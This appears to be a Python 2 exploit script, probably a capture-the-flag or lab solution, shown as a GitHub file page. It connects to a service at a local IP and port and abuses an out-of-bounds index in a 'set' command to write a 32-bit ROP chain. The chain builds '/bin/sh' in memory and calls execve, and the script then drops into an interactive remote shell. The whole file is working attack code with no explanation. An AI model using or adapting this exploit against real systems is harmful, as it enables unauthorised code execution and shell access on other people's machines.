Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
60 lines (46 sloc) 1.17 KB
import socket
import struct
IP="192.168.1.104"
PORT=1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
def run(data, result=None):
if data:
s.send(data+"\n")
while result and not result in s.recv(1024):
pass
print("[*] Init")
run(None, "> ")
shellcode = [0x08053816, # pop edx; ret
1852400175, # /bin
0x080a8406, # pop eax; ret
0x080cb000, # bbs
0x08084138, # mov [eax], edx; pop ebx; pop ebp; ret
0, 0,
0x08053816, # pop edx; ret
6845231, # /sh\x00
0x080a8406, # pop eax; ret
0x080cb004, # bbs + 4
0x08084138, # mov [eax], edx; pop ebx; pop ebp; ret
0, 0,
0x080a8406, # pop eax; ret
0x0b, # sys_execve
0x0805383d, # pop ecx; pop ebx; ret
0x0, # arg@arg
0x080cb000, # filename@arg
0x08053816, # pop edx; ret
0x0, # evp@arg
0x08053f90 # int 0x80
]
print("[*] Write shellcode")
for i in range(0, len(shellcode)):
run("set", "> id: ")
run(str(-255 + 21 + i), "> value: ")
run(str(shellcode[i]), "> ")
print("[*] Drop the bomb")
run("exit", "Goodbye")
s.send("echo 0wn3d\n")
while True:
print(s.recv(2048))
d = raw_input("$ ")
s.send(d+"\n")